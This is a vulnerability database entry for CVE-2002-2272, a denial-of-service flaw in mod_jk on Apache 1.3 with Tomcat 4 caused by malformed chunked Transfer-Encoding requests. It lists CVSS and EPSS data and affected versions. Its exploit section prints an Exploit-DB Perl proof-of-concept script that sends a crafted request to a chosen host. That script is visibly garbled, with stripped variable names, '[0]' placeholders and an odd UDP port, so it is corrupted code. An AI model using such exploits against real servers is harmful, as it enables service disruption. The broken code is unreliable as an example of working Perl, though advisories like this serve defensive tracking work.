CVE-2002-2272 : Detail

CVE-2002-2272

Overflow
1.23%V3
Network
2007-10-18
08h00 +00:00
2017-07-28
10h57 +00:00
CVE.org
NVD
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CVE Descriptions

Tomcat 4.0 through 4.1.12, using mod_jk 1.2.1 module on Apache 1.3 through 1.3.27, allows remote attackers to cause a denial of service (desynchronized communications) via an HTTP GET request with a Transfer-Encoding chunked field with invalid values.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 22068

Publication date : 2002-12-03 23h00 +00:00
Author : Sapient2003
EDB Verified : Yes

source: https://www.securityfocus.com/bid/6320/info Apache Webserver and Tomcat are HTTP servers maintained and distributed by the Apache project. Apache Webserver and Tomcat are available for the Unix, Linux, and Microsoft Windows platforms. It has been reported that a denial of service exists in Apache Webserver and Tomcat when mod_jk is used. Due to design problems in the module, a user submitting malicious requests to the Apache Webserver may cause desynchronization between Apache and Tomcat. This could be done through malicious chunked encoding requests. #!/usr/bin/perl -w use IO::Socket; = "Apache 1.3.x, Tomcat 4.x Server, mod_jk 1.2 using Apache Jserv Protocol 1.3"; unless (@ARGV == 1) { print "\n By Sapient2003\n"; die "usage: -bash <host to exploit>\n"; } print "\n By Sapient2003\n"; = "GET / HTTP/1.0\nHost: [0]\nTransfer-ENcoding: Chunked\n53636f7474"; = IO::Socket::INET->new( PeerAddr => [0], PeerPort => 69, Proto => "udp", ) or die "Can't find host [0]\n"; print ; print "Attempted to exploit [0]\n"; close();

Products Mentioned

Configuraton 0

Apache>>Http_server >> Version 1.3

Apache>>Http_server >> Version 1.3.0

Apache>>Http_server >> Version 1.3.1

Apache>>Http_server >> Version 1.3.2

Apache>>Http_server >> Version 1.3.10

Apache>>Http_server >> Version 1.3.11

Apache>>Http_server >> Version 1.3.12

Apache>>Http_server >> Version 1.3.13

Apache>>Http_server >> Version 1.3.14

Apache>>Http_server >> Version 1.3.15

Apache>>Http_server >> Version 1.3.16

Apache>>Http_server >> Version 1.3.17

Apache>>Http_server >> Version 1.3.18

Apache>>Http_server >> Version 1.3.19

Apache>>Http_server >> Version 1.3.20

Apache>>Http_server >> Version 1.3.22

Apache>>Http_server >> Version 1.3.23

Apache>>Http_server >> Version 1.3.24

Apache>>Http_server >> Version 1.3.25

Apache>>Http_server >> Version 1.3.26

Apache>>Http_server >> Version 1.3.27

Apache>>Tomcat >> Version 4.0.0

Apache>>Tomcat >> Version 4.0.1

Apache>>Tomcat >> Version 4.0.2

Apache>>Tomcat >> Version 4.0.3

Apache>>Tomcat >> Version 4.0.4

Apache>>Tomcat >> Version 4.0.5

Apache>>Tomcat >> Version 4.0.6

Apache>>Tomcat >> Version 4.1.0

Apache>>Tomcat >> Version 4.1.1

Apache>>Tomcat >> Version 4.1.2

Apache>>Tomcat >> Version 4.1.3

Apache>>Tomcat >> Version 4.1.3

Apache>>Tomcat >> Version 4.1.9

Apache>>Tomcat >> Version 4.1.10

Apache>>Tomcat >> Version 4.1.12

References

http://www.securityfocus.com/bid/6320
Tags : vdb-entry, x_refsource_BID